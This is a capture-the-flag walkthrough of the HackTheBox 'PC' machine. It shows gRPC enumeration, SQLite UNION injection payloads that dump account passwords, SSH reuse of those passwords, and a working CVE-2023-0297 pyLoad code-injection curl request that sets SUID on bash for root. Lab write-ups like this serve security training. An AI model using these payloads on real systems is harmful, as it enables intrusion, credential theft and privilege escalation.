6 minutes
HackTheBox :: PC
Creator: sau123
Machine URL: https://app.hackthebox.com/machines/PC
Difficulty: Easy
Initial enumeration
We start with an nmap
scan:
# Nmap 7.93 scan initiated Sat May 20 21:07:11 2023 as: nmap -p- -oA nmap/nmap_initial --min-rate=4000 -vv -sC -sV 10.129.182.219
Nmap scan report for 10.129.182.219
Host is up, received echo-reply ttl 63 (0.035s latency).
Scanned at 2023-05-20 21:07:11 CEST for 46s
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91bf44edea1e3224301f532cea71e5ef (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQChKXbRHNGTarynUVI8hN9pa0L2IvoasvTgCN80atXySpKMerjyMlVhG9QrJr62jtGg4J39fqxW06LmUCWBa0IxGF0thl2JCw3zyCqq0y8+hHZk0S3Wk9IdNcvd2Idt7SBv7v7x+u/zuDEryDy8aiL1AoqU86YYyiZBl4d2J9HfrlhSBpwxInPjXTXcQHhLBU2a2NA4pDrE9TxVQNh75sq3+G9BdPDcwSx9Iz60oWlxiyLcoLxz7xNyBb3PiGT2lMDehJiWbKNEOb+JYp4jIs90QcDsZTXUh3thK4BDjYT+XMmUOvinEeDFmDpeLOH2M42Zob0LtqtpDhZC+dKQkYSLeVAov2dclhIpiG12IzUCgcf+8h8rgJLDdWjkw+flh3yYnQKiDYvVC+gwXZdFMay7Ht9ciTBVtDnXpWHVVBpv4C7efdGGDShWIVZCIsLboVC+zx1/RfiAI5/O7qJkJVOQgHH/2Y2xqD/PX4T6XOQz1wtBw1893ofX3DhVokvy+nM=
| 256 8486a6e204abdff71d456ccf395809de (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPqhx1OUw1d98irA5Ii8PbhDG3KVbt59Om5InU2cjGNLHATQoSJZtm9DvtKZ+NRXNuQY/rARHH3BnnkiCSyWWJc=
| 256 1aa89572515e8e3cf180f542fd0a281c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBG1KtV14ibJtSel8BP4JJntNT3hYMtFkmOgOVtyzX/R
50051/tcp open unknown syn-ack ttl 63
...
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Just two ports are open:
- TCP 22 for OpenSSH
- TCP 50051 is an unknown service
There is not much of a choice here on how to proceed. Let’s identify the service running on 50051.
Identifying the service on TCP 50051
First, we attempt to communicate with the server with netcat
:
┌──(fluff㉿kali)-[/tmp]
└─$ nc 10.129.180.211 50051
▒?��?�� ?
The server doesn’t send us any human-readable information.
Let’s hex-dump the data we get.
┌──(fluff㉿kali)-[/tmp]
└─$ nc 10.129.180.211 50051 | xxd
00000000: 0000 1804 0000 0000 0000 0400 3fff ff00 ............?...
00000010: 0500 3fff ff00 0600 0020 00fe 0300 0000 ..?...... ......
00000020: 0100 0004 0800 0000 0000 003f 0000 ...........?..
A quick Google search for TCP "00 00 18 04"
gives us a bunch of gRPC errors.
gRPC client
I will use grpc-client-cli but any client should be fine.
┌──(fluff㉿kali)-[/tmp]
└─$ mkdir /tmp/grpc && curl -L https://github.com/vadimi/grpc-client-cli/releases/download/v1.18.0/grpc-client-cli_linux_x86_64.tar.gz | tar -C /tmp/grpc -xz
┌──(fluff㉿kali)-[/tmp]
└─$ cd grpc
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli 10.129.182.219:50051
? Choose a service: [Use arrows to move, type to filter]
→ grpc.reflection.v1alpha.ServerReflection
SimpleApp
We can communicate with the server now.
Exploring SimpleApp
Available methods:
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -s SimpleApp -V 10.129.180.211:50051
? Choose a method: [Use arrows to move, type to filter]
→ [..]
getInfo
LoginUser
RegisterUser
RegisterUser
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -s SimpleApp -V 10.129.180.211:50051
? Choose a method: RegisterUser
Message json (type ? to see defaults): ?
{"username":"","password":""}
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -s SimpleApp -m RegisterUser -V 10.129.180.211:50051
Message json (type ? to see defaults): {"username": "fluffme", "password": "fluffme"}
{
"message": "Account created for user fluffme!"
}
...
We can register with the app.
LoginUser
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -s SimpleApp -m LoginUser -V 10.129.180.211:50051
Message json (type ? to see defaults): ?
{"username":"","password":""}
Message json (type ? to see defaults): {"username": "fluffme", "password": "fluffme"}
{
"message": "Your id is 286."
}
...
Response Trailers:
token: [b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZmx1ZmZtZSIsImV4cCI6MTY4NDg0ODgxN30.6n73qk3Wk_OF-Bb_ao4nucU5A1CMyPbhq686IXDnKFA']
...
On login we get the id
in the response (286 in this case) and what looks like a JWT token in the trailers.
getInfo
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -s SimpleApp -m getInfo -V 10.129.180.211:50051
Message json (type ? to see defaults): ?
{"id":""}
Message json (type ? to see defaults): {"id":"286"}
{
"message": "Authorization Error.Missing 'token' header"
}
...
Let’s add the token that we received from LoginUser
to the token
header.
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZmx1ZmZtZSIsImV4cCI6MTY4NDg0ODgxN30.6n73qk3Wk_OF-Bb_ao4nucU5A1CMyPbhq686IXDnKFA' -s SimpleApp -m getInfo -V 10.129.180.211:50051
Message json (type ? to see defaults): {"id":"286"}
{
"message": "Will update soon."
}
Poking around
Now that we have seen and interacted with every functionality that SimpleApp offers us, we can attempt to find some unusual behavior.
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ./grpc-client-cli -H 'token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiZmx1ZmZtZSIsImV4cCI6MTY4NDg0ODgxN30.6n73qk3Wk_OF-Bb_ao4nucU5A1CMyPbhq686IXDnKFA' -s SimpleApp -m getInfo -V 10.129.180.211:50051
Message json (type ? to see defaults): {"id":"1"}
{
"message": "The admin is working hard to fix the issues."
}
We have an admin ID of 1.
Message json (type ? to see defaults): {"id":"2"}
Error: rpc error: code = Unknown desc = Unexpected <class 'TypeError'>: 'NoneType' object is not subscriptable
ID 2 doesn’t seem to exist.
Message json (type ? to see defaults): {"id":"2-1"}
{
"message": "The admin is working hard to fix the issues."
}
ID 2-1 returns the entry for ID 1.
This might be a sign of a SQL Injection…
Message json (type ? to see defaults): {"id":"2 UNION SELECT 'fluff'"}
{
"message": "fluff"
}
And it is one!
SQLite Injection in SimpleApp/getInfo
After attempting to identify the DBMS with various payloads we find that it’s SQLite:
Message json (type ? to see defaults): {"id":"2 UNION SELECT sqlite_version();"}
{
"message": "3.31.1"
}
Enumerating tables
Message json (type ? to see defaults): {"id":"2 UNION SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'"}
{
"message": "accounts"
}
Message json (type ? to see defaults): {"id":"2 UNION SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' LIMIT 1,1"}
{
"message": "messages"
}
Getting usernames and passwords
Message json (type ? to see defaults): {"id":"2 UNION SELECT username || ':' || password FROM accounts"}
{
"message": "admin:admin"
}
Message json (type ? to see defaults): {"id":"2 UNION SELECT username || ':' || password FROM accounts LIMIT 1,1"}
{
"message": "sau:H<REDACTED>1"
}
We get the credentials for user sau. The password is reused and we can SSH with it.
Foothold as sau
┌──(fluff㉿kali)-[/tmp/grpc]
└─$ ssh [email protected]
...
[email protected]'s password:
...
sau@pc:~$
Grab the flag in user.txt located in sau’s home directory.
Enumeration
Let’s check the listening TCP ports:
sau@pc:~$ netstat -tulpn
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:9666 0.0.0.0:* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
tcp6 0 0 :::50051 :::* LISTEN -
udp 0 0 127.0.0.53:53 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
Interesting ports – 8000 and 9666
sau@pc:~$ curl 127.0.0.1:8000
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F">/login?next=http%3A%2F%2F127.0.0.1%3A8000%2F</a>. If not, click the link.
sau@pc:~$ curl -s 127.0.0.1:8000/login | grep '<title'
<title>Login - pyLoad </title>
sau@pc:~$ curl -s 127.0.0.1:9666/login | grep '<title'
<title>Login - pyLoad </title>
pyLoad is running on both ports.
Let’s get the version of pyLoad and search for known vulnerabilities.
sau@pc:~$ ps fauxwww | grep pyload
root 1010 0.1 1.4 1216804 59916 ? Ssl 10:28 0:03 /usr/bin/python3 /usr/local/bin/pyload
sau 1544 0.0 0.0 8160 656 pts/0 S+ 11:08 0:00 \_ grep --color=auto pyload
sau@pc:~$ /usr/local/bin/pyload --version
pyLoad 0.5.0
After a quick search, we find a Code Injection CVE-2023-0297 advisory on pyLoad’s GitHub.
Privilege Escalation to root – CVE-2023-0297
The advisory also contains a link to Proof of Concept: https://huntr.dev/bounties/3fd606f7-83e1-4265-b083-2e1889a05e65/
Payload
We will just add a SUID bit to bash
binary.
pyimport os;os.system("chmod +s /usr/bin/bash")
URL Ecnoded:
%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%2b%73%20%2f%75%73%72%2f%62%69%6e%2f%62%61%73%68%22%29
Exploitation
sau@pc:~$ curl -s -X POST --data-binary 'package=xxx&crypted=AAAA&jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%2b%73%20%2f%75%73%72%2f%62%69%6e%2f%62%61%73%68%22%29;f=function%20f2(){};&passwords=aaaa' http://127.0.0.1:8000/flash/addcrypted2
Could not decrypt key
sau@pc:~$ ls -la /usr/bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18 2022 /usr/bin/bash
Success!
Get root by executing bash -p
and get the root.txt.
sau@pc:~$ bash -p
bash-5.0# cat /root/root.txt